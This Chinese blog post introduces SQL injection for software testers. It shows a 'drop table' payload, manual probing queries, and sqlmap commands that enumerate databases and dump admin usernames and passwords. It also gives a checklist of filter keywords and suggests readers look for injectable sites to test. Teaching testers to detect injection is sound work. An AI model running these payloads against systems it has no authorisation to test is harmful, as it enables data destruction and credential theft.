SQL注入,你真的了解吗?

共 4010字,需浏览 9分钟

 ·

2021-03-25 13:55

  • 背景

    之前在测试培训时,简要提到了安全测试,于是以此为起点,就去了解了一些安全测试相关的内容。sql注入便是其中的一部分。

  • 简介

    SQL 注入是一种专门针对SQL语句的攻击方式。通过把SQL命令插入到web表单提交、输入域名或者页面请求的查询字符串中,利用现有的程序,来非法获取后台的数据库中的信息。在web的测试中涉及到的会比较多些。

  • 注入原理

 存在注入的原因是后台在编写程序时,没有对用户输入的数据做过滤。

 例:

1. 用户在某个输入框提交的参数是123   浏览器提交的URL为: http://www.xxx.com/index.php?id=123   服务器后台执行SQL语句:select * from table1 where id = 123   此时是没有任何影响的。2. 如果用户提交的参数是 123;drop table   服务器后台执行SQL语句: select * from table1 where id =123 ; drop table   相当于后台执行了两条SQL语句,查表,并且把table删除, 从而导致了SQL注入。
  • 检测注入的方法

       目前主要有两种检测方式:

       手工注入检测流程

   1.  判断是否存在注入点 

www.abc.com/index.php?id=2'www.abc.com/index.php?id=2 and 1=1www.abc.com/index.php?id=2 and 1=2第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞

   2.  判定是否存在admin

www.abc.com/index.php?id=2 and exists(select * from admin)   返回正常,存在admin

   3.  admin表中的字段名

www.abc.com/index.php?id=2 and exists(select username from admin)  返回正常 表示admin表存在username字段

       4.  检测其他sql操作


        工具检测

       sqlmap:  sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。

       1. 下载地址

https://github.com/sqlmapproject/sqlmap.git 

       2. 常用命令

1) sqlmap.py -u "http://www.abc.com/index.asp?id=1"        判断id参数是否存在注入:   若存在注入,尝试执行下面的步骤2) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --dbs   列举能列出的所有数据库名3) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --current-db   列出当前使用的数据库名,假设列出“sqltest”数据库4) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --is-dba   判断该注入点是否有管理员权限:返回true 表示是管理员5) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" --tables   获取sqltest中的所有表6) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" --columns   假设有"admin"表, 列举表admin的字段(列名),假设存在"username","password"字段 7) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump   下载字段username,password的值,
  • 测试

       以一个sqlmap检测URL为例:

       1. 检测过程:     

       2. 检测结果:

      可知该次注入检测没有成功。感兴趣的小伙伴可以寻找可注入的网址进行测试,更深入的内容还需要进行更多的探索。


  1.输入域的值为数字型,用1=1,1=2法
若满足条件,则存在SQL注入漏洞,程序没有对提交的整型参数的合法性做过滤或判断

  2.输入域的值为字符型,用 ’1=1’, ’1=2’ 法
若满足条件,则存在SQL注入漏洞,程序没有对提交的字符型参数的合法性做过滤或判断

  3.输入域中的值为搜索型,用’and [查询条件] and ‘%’=’% 等
若满足条件,则存在SQL注入漏洞,程序没有对提交的查询的合法性做过滤或判断

  4.用UNION查询语句
用Union可以连接查询,从而从其他表中得到信息

  5.大小写排查
程序员对大小写的过滤不充分时,会忽视大小写混合的情况,容易存在漏洞

  6.用UNICODE字符集检查
用UNICODE字符集转化的输入,会把+号转为%2B,把%号转化为%25等,容易忽略过滤

  7.用ASCII码检查
把输入的字符用ASCII码代替,如a=char(97),容易忽略过滤。
  8.用;号或—号检查
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,容易忽略过滤

  9.利用系统表
通过查询数据库的系统表名,可判断具体用的数据库类型

  10.利用数据库服务器的系统变量user 等
可以得到数据库名,数据库的用户名,从而进行进一步攻击

  11.利用相关函数
若字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

  12.界面输入框中是否对SQL敏感字符进行了屏蔽
"exec" ,"xp_","sp_","declare","Union","cmd","+","//","..",";","'","--","%" 等命令关键字

  13.是否对SQL脚本语法出错信息进行了屏蔽
有些SQL注入的目的就是为了看到报错的SQL命令,通过分析这些SQL命令,获取关键的数据库名,表名以及字段名等信息

  14.在浏览器的地址栏中是否对一些恒等表达式进行了屏蔽
例如:http://www.321cn. Com /showdetail.asp?id=19 and 1=1

  15.对于提交表单的浏览器地址是否进行了敏感字符或命令集的屏蔽

  16.对于cookie参数提交部分

是否对于cookie文件进行了敏感字符或命令集的屏蔽,前提是设计或需求允许这样的操作。


-------- THE END --------

🍁

浏览 48
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报